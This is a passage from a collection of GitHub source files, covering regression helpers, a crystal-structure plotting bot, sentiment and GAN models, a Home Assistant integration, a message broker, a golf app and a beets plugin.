= np.array(x)\n y = np.array(y)\n t = ((((x.T).dot(x))**-1).dot(x.T)).dot(y)\n\n return t[0], t[1]\n\ndef gradientDescent(costFunc, derCostFunc, matrix_): # eğim azalması algoritması\n t = np.array([-0.1,0.53])\n alpha = 0.01\n value_list = []\n\n for i in range(180):\n value = costFunc(t,matrix_)\n gradient = derCostFunc(t,matrix_)\n t = t - alpha * gradient\n #print('Iteration {}: t = {}, F(t) = {} '.format(i, t, value))\n value_list.append(value)\n \n return t[0], t[1], value_list # öğrenilen parametreler\n \ndef regression_experiments(points): # verilerin 5-kat çapraz geçerleme ile bölünmesi\n train_list_x = []\n train_list_y = []\n test_list_x = []\n test_list_y = []\n\n points = np.asarray(points) \n kf = KFold(n_splits=5, random_state=None, shuffle=False)\n\n for train_index, test_index in kf.split(points):\n X_train, X_test = points[train_index,0], points[test_index,0]\n y_train, y_test = points[train_index,1], points[test_index,1] \n train_list_x.append(X_train)\n train_list_y.append(y_train)\n test_list_x.append(X_test)\n test_list_y.append(y_test)\n\n return train_list_x, train_list_y, test_list_x, test_list_y \n\ndef gradientDescentReg(costFunc, derCostFunc1, derCostFunc2, matrix_): # eğim azalması algoritması (düzenlileştirme ile)\n t = np.array([-0.1,0.53])\n alpha = 0.01\n value_list = []\n\n for i in range(180):\n value = costFunc(t,matrix_)\n gradient1 = derCostFunc1(t,matrix_)\n gradient2 = derCostFunc2(t,matrix_)\n t[0] = t[0] - alpha * gradient1\n t[1] = t[1] - alpha * gradient2\n #print('Iteration {}: t = {}, F(t) = {} '.format(i, t, value))\n value_list.append(value)\n \n return t[0], t[1], value_list # öğrenilen parametreler\n\ndef calculateMAE(t_0,t_1,list_,y,singleVarLinearReg): # mean absolute error hesabının yapılması\n\n regression_list = []\n\n for i in range(len(list_)):\n regression_list.append(singleVarLinearReg(t_0,t_1,list_[i])) # regresyon değerlerini hesapla \n\n return mean_absolute_error(y,regression_list)\n\ndef returnReg(t_0,t_1,list_,singleVarLinearReg): # regresyon değerlerini döner\n\n regression_list = []\n\n for i in range(len(list_)):\n regression_list.append(singleVarLinearReg(t_0,t_1,list_[i])) # regresyon değerlerini hesapla \n\n return regression_list \n","repo_name":"AtahanTufekci/LinearRegressionWithPython","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":3420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6490255439","text":"#!/usr/bin/python3\n\nimport sys\nimport MySQLdb\nimport wget\nimport os \nimport subprocess\n\n#Access MySQL via Python..\ndb = MySQLdb.connect(host=\"sql.crystallography.net\", \n user=\"cod_reader\", db=\"cod\") \n\ncur = db.cursor()\n#select the latest added structure from COD\ncur.execute('select file, formula, date, time from data where flags like \"%has Fobs%\" order by date desc, time DESC limit 1')\n\n#select random structure\n#cur.execute('select file, formula, date, time from data where flags like \"%has Fobs%\" order by rand() limit 1')\n\nfor row in cur.fetchall():\n cifId = str(row[0])\n formula = str(row[1])\ndb.close()\n\ncifFile = \"http://www.crystallography.net/cod/\"+cifId+\".cif\"\n\n#Downloads the CIF file\nwget.download(cifFile, \"cif/\"+cifId+\".cif\")\n#os.system(\"jmol cif/\"+cifId+\".cif\")\n\n#Creates Jmol script that generates an annotated 2D molecule snapshot \nfile = open(\"scripts/\"+cifId+\".spt\",\"w\") \nfile.write(\"load cif/\"+cifId+\".cif;\\n\")\nfile.write(\"set echo example 0% 5%;\\n\")\nfile.write(\"font echo 63 serif bold;\\n\") \nfile.write(\"echo \" +formula+ \" (\"+cifId+\");\\n\" )\nfile.write('write IMAGE 842 595 PNG n \"png\";') \nfile.close() \n\n#Runs Jmol script\nos.system(\"jmol scripts/\"+cifId+\".spt &&\")\n\n#Runs ImageMagick's convert utility to invert image colours and convert it to black and white\nos.system(\"convert png -negate -threshold 80% output.bmp\")\n\n#Runs potrace to vectorize the generated bmp file\nos.system(\"potrace --svg output.bmp -t 10 -a 3 -u 10 -P A4 --group -o vect-grib.svg\")\n\n#This is a shell script that corrects the output svg measurements -- thanks to ffwd!\nos.system(\"./grib.sh\")\n\n# calls the plotter:\nsubprocess.check_output(['axibot', 'plot', 'vect.svg'])\n\n\n","repo_name":"Technariumas/CrystalBot","sub_path":"draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"36887268724","text":"\"\"\"\nIMDB review pos/neg prediction using DistilBERT and attention model\n L : Source sequece length\n embed_size : Embedding dimension of the source\n\"\"\"\n\nfrom os import listdir\nfrom os.path import isfile, join\nimport datetime\nimport numpy as np\nimport torch\nfrom torch import nn\nimport PosEnc\nfrom transformers import DistilBertTokenizer, DistilBertModel\n\nembed_size = 768 \nembed_dim = 70 \nL = 100 \n\ntokenizer = DistilBertTokenizer.from_pretrained('distilbert-base-uncased')\ndistbert = DistilBertModel.from_pretrained(\"distilbert-base-uncased\")\n\ndef distbert_enc(input_text):\n aM = torch.zeros((L, L), dtype=torch.bool) # attn_mask\n encoded_input = tokenizer(input_text, return_tensors='pt')\n x = encoded_input.input_ids\n m = x.size()[1] \n if m > L:\n x = x[:, :L]\n if m < L:\n aM[m:, m:] = True\n xsize_diff = L - x.size()[1]\n x_pad = torch.zeros((1, xsize_diff), dtype=int)\n x = torch.cat((x, x_pad), dim=1)\n output = distbert(input_ids=x)\n y = output.last_hidden_state\n y = torch.squeeze(y)\n return y, aM \n\n# Converts str to tensor\ndef strToVec(input_str):\n x, aM = distbert_enc(input_str)\n return x, aM \n\n# nn\nclass NeuralNetwork(nn.Module):\n def __init__(self):\n super(NeuralNetwork, self).__init__()\n\n self.pos_enc = PosEnc.PositionalEncoding(embed_size, 0, L) # position encoding \n self.norm = nn.LayerNorm(embed_size)\n\n self.Wq = nn.LazyLinear(embed_dim)\n self.Wk = nn.LazyLinear(embed_dim)\n self.Wv = nn.LazyLinear(embed_dim)\n self.self_attention_context1 = nn.MultiheadAttention(embed_dim, 1, dropout=0.5)\n \n self.linear_relu_stack = nn.Sequential(\n nn.LazyLinear(100),\n nn.ReLU(),\n nn.Dropout(p = 0.5),\n nn.LazyLinear(2),\n nn.Softmax()\n )\n\n def forward(self, x, aM):\n pe = self.pos_enc(x)\n z = self.norm(pe) \n\n q = self.Wq(z)\n k = self.Wk(z)\n v = self.Wv(z)\n y, y_w = self.self_attention_context1(q, k, v, attn_mask=aM)\n\n ya = torch.flatten(y)\n y2 = self.linear_relu_stack(ya)\n\n return y2\n\nmodel = NeuralNetwork()\nprint(f'model = {model}')\n\nmodel.load_state_dict(torch.load('review-bert-attention.pt'))\n\nlearningRat = 0.0002\nloss_fn = nn.MSELoss()\noptimizer = torch.optim.SGD(model.parameters(), lr=learningRat)\n\n# train\nfileLst = []\n\npathPos = '/root/data/aclImdb/train/pos'\nfilesPos = [f for f in listdir(pathPos) if isfile(join(pathPos, f))]\nfor fileNm in filesPos:\n fileLst.append(pathPos + '/' + fileNm)\n\npathNeg = '/root/data/aclImdb/train/neg'\nfilesNeg = [f for f in listdir(pathNeg) if isfile(join(pathNeg, f))]\nfor fileNm in filesNeg:\n fileLst.append(pathNeg + '/' + fileNm)\n\ncrctCnt = 0\ntotCnt = 0\nfor cnt in range(100000000000000000000):\n reviewFile = fileLst[np.random.randint(len(fileLst))]\n\n f = open(reviewFile, \"r\")\n str = ''\n for line in f:\n str += line\n\n x, aM = strToVec(str)\n\n y0 = np.array([1.0, 0.0])\n if 'neg' in reviewFile:\n y0 = np.array([0.0, 1.0])\n\n # infer\n y = model(x, aM)\n\n y0 = torch.Tensor(y0)\n loss = loss_fn(y, y0)\n\n # stat\n totCnt += 1\n if (y[0] > 0.5 and y0[0] > 0.5) or (y[0] < 0.5 and y0[0] < 0.5):\n crctCnt += 1\n crctRat = crctCnt / totCnt \n if cnt % 100 == 0:\n print()\n print(f'cnt = {cnt}')\n print(datetime.datetime.now())\n print(f'crctRat = {crctRat}')\n print(f'loss = {loss}')\n print(f'y = {y}')\n print(f'y0 = {y0}')\n print(f'reviewFile = {reviewFile}')\n totCnt = 0\n crctCnt = 0\n if cnt % 1000 == 0:\n torch.save(model.state_dict(), 'review-bert-attention.pt')\n if crctRat > 0.7 and learningRat > 0.002:\n for param_group in optimizer.param_groups:\n param_group['lr'] = 0.002 \n flag = False \n\n # backpropagation\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n\n","repo_name":"dhkim9549/ai-study","sub_path":"imdb-bert/review-bert-attention.py","file_name":"review-bert-attention.py","file_ext":"py","file_size_in_byte":4011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40008421996","text":"\"\"\"Support for Renault binary sensors.\"\"\"\nfrom __future__ import annotations\n\nfrom dataclasses import dataclass\n\nfrom renault_api.kamereon.enums import ChargeState, PlugState\nfrom renault_api.kamereon.models import KamereonVehicleBatteryStatusData\n\nfrom homeassistant.components.binary_sensor import (\n DEVICE_CLASS_BATTERY_CHARGING,\n DEVICE_CLASS_PLUG,\n BinarySensorEntity,\n BinarySensorEntityDescription,\n)\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\nfrom homeassistant.helpers.typing import StateType\n\nfrom .const import DOMAIN\nfrom .renault_entities import RenaultDataEntity, RenaultEntityDescription, T\nfrom .renault_hub import RenaultHub\n\n\n@dataclass\nclass RenaultBinarySensorRequiredKeysMixin:\n \"\"\"Mixin for required keys.\"\"\"\n\n entity_class: type[RenaultBinarySensor]\n on_value: StateType\n\n\n@dataclass\nclass RenaultBinarySensorEntityDescription(\n BinarySensorEntityDescription,\n RenaultEntityDescription,\n RenaultBinarySensorRequiredKeysMixin,\n):\n \"\"\"Class describing Renault binary sensor entities.\"\"\"\n\n\nasync def async_setup_entry(\n hass: HomeAssistant,\n config_entry: ConfigEntry,\n async_add_entities: AddEntitiesCallback,\n) -> None:\n \"\"\"Set up the Renault entities from config entry.\"\"\"\n proxy: RenaultHub = hass.data[DOMAIN][config_entry.entry_id]\n entities: list[RenaultBinarySensor] = [\n description.entity_class(vehicle, description)\n for vehicle in proxy.vehicles.values()\n for description in BINARY_SENSOR_TYPES\n if description.coordinator in vehicle.coordinators\n ]\n async_add_entities(entities)\n\n\nclass RenaultBinarySensor(RenaultDataEntity[T], BinarySensorEntity):\n \"\"\"Mixin for binary sensor specific attributes.\"\"\"\n\n entity_description: RenaultBinarySensorEntityDescription\n\n @property\n def is_on(self) -> bool | None:\n \"\"\"Return true if the binary sensor is on.\"\"\"\n return self.data == self.entity_description.on_value\n\n\nBINARY_SENSOR_TYPES: tuple[RenaultBinarySensorEntityDescription, ...] = (\n RenaultBinarySensorEntityDescription(\n key=\"plugged_in\",\n coordinator=\"battery\",\n data_key=\"plugStatus\",\n device_class=DEVICE_CLASS_PLUG,\n entity_class=RenaultBinarySensor[KamereonVehicleBatteryStatusData],\n name=\"Plugged In\",\n on_value=PlugState.PLUGGED.value,\n ),\n RenaultBinarySensorEntityDescription(\n key=\"charging\",\n coordinator=\"battery\",\n data_key=\"chargingStatus\",\n device_class=DEVICE_CLASS_BATTERY_CHARGING,\n entity_class=RenaultBinarySensor[KamereonVehicleBatteryStatusData],\n name=\"Charging\",\n on_value=ChargeState.CHARGE_IN_PROGRESS.value,\n ),\n)\n","repo_name":"tmoran3020/core","sub_path":"homeassistant/components/renault/binary_sensor.py","file_name":"binary_sensor.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"29109698627","text":"#!/usr/bin/env python3\n\"\"\"\nModule that holds all the help options available.\n\"\"\"\n\nGAME_VERSION = \"1.0.0\"\nGAME_NAME = \"The Castle of Nerzia\"\n\nimport getopt\nimport sys\n\ndef parseOptions():\n \"\"\"\n A check for commands entered into the game.\n \"\"\"\n try:\n opts, _ = getopt.getopt(sys.argv[1:], \"achiv\", [\"about\", \"cheat\", \\\n \"help\", \"info\", \"version\"])\n\n for opt, _ in opts:\n if opt in (\"-a\", \"--about\"):\n about()\n sys.exit(0)\n elif opt in (\"-c\", \"--cheat\"):\n cheat()\n sys.exit(0)\n elif opt in (\"-h\", \"--help\"):\n usage()\n sys.exit(0)\n elif opt in (\"-i\", \"--info\"):\n info()\n sys.exit(0)\n elif opt in (\"-v\", \"--version\"):\n version()\n sys.exit(0)\n\n except Exception as err:\n print(err)\n sys.exit(1)\n\ndef about():\n \"\"\"\n Prints a description about the author/creator of the game.\n \"\"\"\n print(\"\"\"Erik is an 18 year old amateur programmer whose passion is\ndesigning. Since he was 9 years old he has been passionately designing all\nkinds of things using either Gimp, Photoshop or similar programs. It was not\nuntil recently that he also started developing websites.\"\"\")\n\ndef cheat():\n \"\"\"\n Prints the secret ways of how to cheat your way through the game.\n \"\"\"\n print(\"To get past the first room, simply open the Toolbox, then kick the\\\nChest and move forward. After you have entered the second room, you can \\\nmove the painting that you read about in the room description by typing \\\n'move painting', doing this will unlock all of the rooms and you will be moved\\\n to the 7th and final room. To grab the staff and win the game you simply type \\\n 'open tomb'.\")\n\ndef usage():\n \"\"\"\n Prints a help menu.\n \"\"\"\n print(\"\"\"\\nAvailable commands are:\n -h, --help - Prints the help menu.\n -i, --info - Prints information about the game.\n -v, --version - Prints the game version.\n -a, --about - Prints information about the game creator.\n -c, --cheat - Prints the fastest way to complete the game, and how\n you can cheat your way through.\n \"\"\")\n\ndef info():\n \"\"\"\n Prints a description about the game.\n \"\"\"\n print(GAME_NAME, \"\"\"is a command prompt based Python game where you play as\na powerful mage looking to retrieve the Staff of Netherwind from the dark and\ndangerous castle of Nerzia. Throughout your journey you will stumble across a\nplethora of puzzles, objectes and creatures that you can interact with in\ndifferent ways.\"\"\")\n\ndef version():\n \"\"\"\n Prints the current version of the game running.\n \"\"\"\n print(\"You are running\", GAME_NAME, \"version\", GAME_VERSION + \"!\")\n","repo_name":"Asbert75/dbwebb-kurser","sub_path":"python/kmom10/adventure/options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":2861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73456165547","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 30 10:02:10 2018\n\n@author: peter\n\"\"\"\n\nfrom flask import Flask\nimport time\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n time.sleep(3)\n return 'Hello!'\n\n\nif __name__ == '__main__':\n app.run(threaded=True, port=5000)\n","repo_name":"last2win/python-coroutine","sub_path":"flask-run.py","file_name":"flask-run.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"} +{"seq_id":"28087461035","text":"import numpy as np\nfrom collections import OrderedDict\n\nclass ImageData:\n def __init__(self, headers, images):\n self.magic_number = headers['magic_number']\n self.num_images = headers['number_of_images']\n self.img_width = headers['width']\n self.img_height = headers['height']\n self.images = images\n\nclass LabelData:\n def __init__(self, headers, labels):\n self.magic_number = headers['magic_number']\n self.num_labels = headers['number_of_labels']\n self.labels = labels\n \nclass DataParser:\n\n @staticmethod\n def _parse_headers(file, format):\n keys = list(format)\n\n for k in keys:\n byte = file.read(4)\n format[k] = int.from_bytes(byte, byteorder='big')\n return file, format\n \n @staticmethod\n def parse_training_image_file(filepath):\n \"\"\"\n ---Data format---\n\n [offset] [type] [value] [description]\n 0000 32 bit integer 0x00000803(2051) magic number\n 0004 32 bit integer 60000 number of images\n 0008 32 bit integer 28 number of rows\n 0012 32 bit integer 28 number of columns\n 0016 unsigned byte ?? pixel\n 0017 unsigned byte ?? pixel\n ........\n xxxx unsigned byte ?? pixel\n\n Pixels are organized row-wise. Pixel values are 0 to 255. 0 means background (white), 255 means foreground (black).\n \"\"\"\n \n file = open(filepath, 'rb')\n headers = OrderedDict({'magic_number': -1, 'number_of_images': -1, 'width': -1, 'height': -1})\n file, headers = DataParser._parse_headers(file, headers)\n\n num_images = headers['number_of_images']\n width = headers['width']\n height = headers['height']\n pixels = width * height\n\n nubyte = np.dtype(np.uint8)\n nubyte = nubyte.newbyteorder('>')\n images = np.zeros((num_images, width, height, 3), dtype=np.uint8)\n\n for i in range(num_images):\n imgdata = np.zeros((width, height, 3), dtype=np.uint8)\n buf_img = np.frombuffer(file.read(pixels), dtype=nubyte)\n buf_img = buf_img.reshape(width, height)\n imgdata[:, :, 0] = imgdata[:, :, 1] = imgdata[:, :, 2] = buf_img\n images[i, :] = imgdata\n \n return ImageData(headers, images)\n\n @staticmethod\n def parse_training_label_file(filepath):\n \"\"\"\n [offset] [type] [value] [description]\n 0000 32 bit integer 0x00000801(2049) magic number (MSB first)\n 0004 32 bit integer 60000 number of items\n 0008 unsigned byte ?? label\n 0009 unsigned byte ?? label\n ........\n xxxx unsigned byte ?? label\n The labels values are 0 to 9.\n \"\"\"\n\n file = open(filepath, 'rb')\n headers = OrderedDict({'magic_number': -1, 'number_of_labels': -1})\n file, headers = DataParser._parse_headers(file, headers)\n \n num_labels = headers['number_of_labels']\n\n nubyte = np.dtype(np.uint8)\n nubyte = nubyte.newbyteorder('>')\n\n labels = np.frombuffer(file.read(num_labels), dtype=nubyte)\n return LabelData(headers, labels)\n\n","repo_name":"RobLaughlin/neural-network-from-scratch","sub_path":"Network/DataParser/data_parser.py","file_name":"data_parser.py","file_ext":"py","file_size_in_byte":3424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25010103727","text":"from golfrica_app.Models.models import Player, PlayerSchema\nfrom datetime import datetime\nfrom golfrica_app import db\nfrom sqlalchemy import or_, text\n\n\nclass PlayerBL:\n ps = PlayerSchema(many=True)\n\n def getPlayers(self, user, club):\n sql = text(\n \"SELECT *, avg(ratings.rating) as avg_rating, \"\n \"count(ratings.rating_id) as total_reviews, \"\n \"count(follows.f_id) as followers, IF(follows.follower_id = \"\n + str(user.user_id)\n + \", true, false) as is_followed \"\n \"FROM players LEFT JOIN ratings on ratings.player_id = players.player_id \"\n \"LEFT JOIN follows on follows.followed_id = players.player_id AND is_player_followed = 1 \"\n \"WHERE players.club_id = \"\n + str(club.club_id)\n + \" GROUP BY players.player_id, ratings.rating_id, follows.f_id\"\n )\n players = db.engine.execute(sql)\n return self.ps.dump(players)\n\n def getClubsForSync(self):\n players = Player.query.all()\n return players\n\n def getClubById(self, id):\n player = Player.query.filter_by(club_id=id)\n if player.count() > 0:\n self.ps.many = False\n return self.ps.dump(player.first())\n return False\n\n def getPlayerObjById(self, id):\n player = Player.query.filter_by(player_id=id)\n if player.count() > 0:\n return player.first()\n return False\n\n def getPlayeProfileAsDump(self, user, player):\n sql = text(\n \"SELECT *, avg(ratings.rating) as avg_rating, \"\n \"count(ratings.rating_id) as total_reviews, clubs.club_name, countries.country_name, \"\n \"count(follows.f_id) as followers, IF(follows.follower_id = \"\n + str(user.user_id)\n + \", true, false) as is_followed \"\n \"FROM players LEFT JOIN ratings on ratings.player_id = players.player_id LEFT JOIN clubs on clubs.club_id = players.club_id \"\n \"LEFT JOIN countries on countries.country_id = clubs.club_country LEFT JOIN follows on follows.followed_id = players.player_id AND is_player_followed = 1 \"\n \"WHERE players.player_id = \"\n + str(player.player_id)\n + \" GROUP BY players.player_id, ratings.rating_id, follows.f_id\"\n )\n players = db.engine.execute(sql)\n return self.ps.dump(players)\n","repo_name":"theirfanirfi/golfapp-apis","sub_path":"golfrica_app/BusinessLogic/PlayerBL.py","file_name":"PlayerBL.py","file_ext":"py","file_size_in_byte":2376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2075696341","text":"import torch\nimport torch.nn as nn\nimport numpy as np\nfrom utils.utils import img_shape\nfrom utils.utils import opt\nfrom utils.utils import create_emb_layer\n\n\nclass Generator(nn.Module):\n def __init__(self):\n super(Generator, self).__init__()\n\n self.label_emb = nn.Embedding(opt['n_classes'], opt['n_classes'])\n\n def block(in_feat, out_feat, normalize=True):\n layers = [nn.Linear(in_feat, out_feat)]\n if normalize:\n layers.append(nn.BatchNorm1d(out_feat, 0.8))\n layers.append(nn.LeakyReLU(0.2, inplace=True))\n return layers\n\n self.model = nn.Sequential(\n *block(opt['latent_dim'] + opt['n_classes'], 128, normalize=False),\n *block(128, 256),\n *block(256, 512),\n *block(512, 1024),\n nn.Linear(1024, int(np.prod(img_shape))),\n nn.Tanh()\n )\n\n def forward(self, noise, labels):\n # Concatenate label embedding and image to produce input\n gen_input = torch.cat((self.label_emb(labels), noise), -1)\n\n img = self.model(gen_input)\n img = img.view(img.size(0), *img_shape)\n return img\n\n\nclass PoseGeneratorDC(nn.Module):\n def __init__(self, embeddings):\n super(PoseGeneratorDC, self).__init__()\n self.annotate_embed_size = 128 # output encoded annotation size\n self.z_size = 16 # 初始的noise size\n self.emb_layer = create_emb_layer(embeddings, non_trainable=True)\n self.rnn = nn.LSTM(input_size=embeddings.size()[1],\n hidden_size=self.annotate_embed_size,\n num_layers=2,\n batch_first=True,\n bidirectional=True)\n\n ngf = 64 # number of feature for the image\n nc = 3\n in_feature_size = self.annotate_embed_size * 2 + self.z_size # *2因为bidirectional\n\n self.main = nn.Sequential(\n # input is Z, going into a convolution\n nn.ConvTranspose2d(in_feature_size, ngf * 16, 4, 1, 0, bias=False),\n nn.BatchNorm2d(ngf * 16),\n nn.ReLU(True),\n # state size. (ngf*8) x 4 x 4\n nn.ConvTranspose2d(ngf * 16, ngf * 8, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ngf * 8),\n nn.ReLU(True),\n # state size. (ngf*8) x 4 x 4\n nn.ConvTranspose2d(ngf * 8, ngf * 4, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ngf * 4),\n nn.ReLU(True),\n # state size. (ngf*4) x 8 x 8\n nn.ConvTranspose2d(ngf * 4, ngf * 2, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ngf * 2),\n nn.ReLU(True),\n # state size. (ngf*2) x 16 x 16\n nn.ConvTranspose2d(ngf * 2, ngf, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ngf),\n nn.ReLU(True),\n # state size. (ngf) x 32 x 32\n nn.ConvTranspose2d(ngf, nc, 4, 2, 1, bias=False),\n nn.Tanh()\n # state size. (nc) x 64 x 64\n )\n\n def forward(self, noise, annotate):\n # Get the encoded annotation from RNN\n embed_annotate = self.emb_layer(annotate)\n x, hidden = self.rnn(embed_annotate)\n encoded_x = x[:, 0, :] + x[:, -1, :]\n encoded_annotate = torch.reshape(encoded_x, (-1, encoded_x.shape[1], 1, 1))\n\n input_x = torch.cat((encoded_annotate, noise), 1)\n return self.main(input_x)\n\n\nclass GeneratorDC(nn.Module):\n def __init__(self):\n super(GeneratorDC, self).__init__()\n ngf = 64 # number of feature for the image\n nc = 3\n self.main = nn.Sequential(\n # input is Z, going into a convolution\n nn.ConvTranspose2d(nc, ngf * 16, 4, 1, 0, bias=False),\n nn.BatchNorm2d(ngf * 16),\n nn.ReLU(True),\n # state size. (ngf*8) x 4 x 4\n nn.ConvTranspose2d(ngf * 16, ngf * 8, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ngf * 8),\n nn.ReLU(True),\n # state size. (ngf*8) x 4 x 4\n nn.ConvTranspose2d(ngf * 8, ngf * 4, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ngf * 4),\n nn.ReLU(True),\n # state size. (ngf*4) x 8 x 8\n nn.ConvTranspose2d(ngf * 4, ngf * 2, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ngf * 2),\n nn.ReLU(True),\n # state size. (ngf*2) x 16 x 16\n nn.ConvTranspose2d(ngf * 2, ngf, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ngf),\n nn.ReLU(True),\n # state size. (ngf) x 32 x 32\n nn.ConvTranspose2d(ngf, nc, 4, 2, 1, bias=False),\n nn.Tanh()\n # state size. (nc) x 64 x 64\n )\n\n def forward(self, input):\n return self.main(input)\n","repo_name":"NarakuF/human-pose-synthesis","sub_path":"model/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":4755,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"69978118507","text":"\"\"\"Message Broker\"\"\"\nimport enum\nfrom typing import Dict, List, Any, Tuple\nimport socket\nimport selectors\n\nfrom src.protocol import CDProto\nfrom src.protocols.xml_protocol import Xml_P \nfrom src.middleware import MiddlewareType as MType\nfrom src.protocols.topic_Tree import Node\n\nclass Serializer(enum.Enum):\n \"\"\"Possible message serializers.\"\"\"\n\n JSON = 0\n XML = 1\n PICKLE = 2\n\n\nclass Broker:\n \"\"\"Implementation of a PubSub Message Broker.\"\"\"\n\n def __init__(self):\n \"\"\"Initialize broker.\"\"\"\n self.canceled = False\n\n self._host = \"localhost\"\n self._port = 5000\n self.sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n self.sock.bind((self._host, self._port))\n self.sock.listen(10)\n\n self.sel = selectors.DefaultSelector()\n\n self.topic_nodes = Node(\"root\", None)\n\n # wait register event to accept\n self.sel.register(self.sock, selectors.EVENT_READ, Broker.accept); \n\n\n def list_topics(self) -> List[str]:\n \"\"\"Returns a list of strings containing all topics containing values.\"\"\"\n return list(self.topic_nodes.getTopicsWithValue())\n\n\n def get_topic(self, topic):\n \"\"\"Returns the currently stored value in topic.\"\"\"\n return self.topic_nodes.getNode(topic).value\n\n\n def put_topic(self, topic, value):\n \"\"\"Store in topic the value.\"\"\"\n self.topic_nodes.getNode(topic).value = value\n\n\n def list_subscriptions(self, topic: str) -> List[Tuple[socket.socket, Serializer]]:\n \"\"\"Provide list of subscribers to a given topic.\"\"\"\n ret_list = []\n\n for element in self.topic_nodes.getNode(topic).clientList:\n ret_list.append((element[1], element[2]))\n return ret_list\n\n\n def subscribe(self, topic: str, address: socket.socket, _format: Serializer = None):\n \"\"\"Subscribe to topic by client in address.\"\"\"\n node = self.topic_nodes.getNode(topic)\n node.add((topic, address, _format))\n\n\n def unsubscribe(self, topic, address):\n \"\"\"Unsubscribe to topic by client in address.\"\"\"\n self.topic_nodes.getNode(topic).unsubscribe(address)\n\n\n # --------------------------------------------------------------------------------------------------------------------------------------------------------------\n\n # Accept socket\n def accept(self, sock):\n conn, addr = sock.accept()\n conn.setblocking(False)\n self.sel.register(conn, selectors.EVENT_READ, Broker.read)\n\n # Read user input\n def read(self, conn):\n data = CDProto.recv_msg(conn)\n\n if data != None:\n msg = data.getMessage()\n \n # Consumer handling\n if int(msg[\"type\"]) == MType.CONSUMER.value:\n topic = msg[\"topic\"]\n\n # Unsubscribe handling\n if msg[\"command\"] == \"unsubscribe\":\n self.unsubscribe(topic, conn)\n else:\n print(\"Consumidor: subscribed to\",msg[\"topic\"])\n \n serialize = int(msg[\"serialize\"])\n\n self.put_topic(topic,None)\n \n self.subscribe(topic, conn, serialize)\n \n \n # Producer handling\n else:\n print(\"Produtor: send topic to\",msg[\"topic\"])\n topic = msg[\"topic\"]\n value = msg[\"value\"]\n self.put_topic(topic, value)\n\n node = self.topic_nodes.getNode(topic)\n subs = node.getClients(clients=set())\n \n for sub in subs:\n print('send to',sub[1])\n if (sub[2] == Serializer.XML.value):\n msg = Xml_P.message(value, topic, MType.CONSUMER.value, sub[2])\n else:\n msg = CDProto.message(value, topic, MType.CONSUMER.value, sub[2])\n CDProto.send_msg(sub[1], msg, sub[2])\n \n else:\n self.sel.unregister(conn)\n conn.close()\n\n # --------------------------------------------------------------------------------------------------------------------------------------------------------------\n \n # Wait for user event\n def run(self):\n \"\"\"Run until canceled.\"\"\"\n\n while not self.canceled:\n events = self.sel.select();\n for key, mask in events:\n callback = key.data\n callback(self, key.fileobj);\n pass\n","repo_name":"fungame2270/Message_broker","sub_path":"src/broker.py","file_name":"broker.py","file_ext":"py","file_size_in_byte":4559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23597538993","text":"import logging\nimport requests\nfrom beets.plugins import BeetsPlugin\nfrom beets import ui\nfrom beets import dbcore\nfrom beets import config\n\nlog = logging.getLogger('beets')\napi_url = 'http://ws.audioscrobbler.com/2.0/?method=library.gettracks&user=%s&api_key=%s&format=json&page=%s&limit=%s'\n\nclass LastImportPlugin(BeetsPlugin):\n def __init__(self):\n super(LastImportPlugin, self).__init__()\n config['lastfm'].add({\n 'user': '',\n 'api_key': '',\n })\n self.config.add({\n 'per_page': 500,\n 'retry_limit': 3,\n })\n\n def commands(self):\n cmd = ui.Subcommand('lastimport',\n help='import last.fm play-count')\n\n def func(lib, opts, args):\n import_lastfm(lib)\n\n cmd.func = func\n return [cmd]\n\ndef import_lastfm(lib):\n user = config['lastfm']['user']\n api_key = config['lastfm']['api_key']\n per_page = config['lastimport']['per_page']\n\n if not user:\n raise ui.UserError('You must specify a user name for lastimport')\n if not api_key:\n raise ui.UserError('You must specify an api_key for lastimport')\n\n log.info('Fetching last.fm library for @{0}'.format(user))\n\n page_total = 1\n page_current = 0\n found_total = 0\n unknown_total = 0\n retry_limit = config['lastimport']['retry_limit'].get(int)\n # Iterate through a yet to be known page total count\n while page_current < page_total:\n log.info(\n 'lastimport: Querying page #{0}{1}...'\n .format(\n page_current+1,\n '/'+str(page_total) if page_total > 1 else ''\n )\n )\n\n for retry in range(0, retry_limit):\n page = fetch_tracks(user, api_key, page_current+1, per_page)\n if 'tracks' in page:\n # Let us the reveal the holy total pages!\n page_total = int(page['tracks']['@attr']['totalPages'])\n if page_total < 1:\n # It means nothing to us!\n raise ui.UserError('No data to process, empty query from 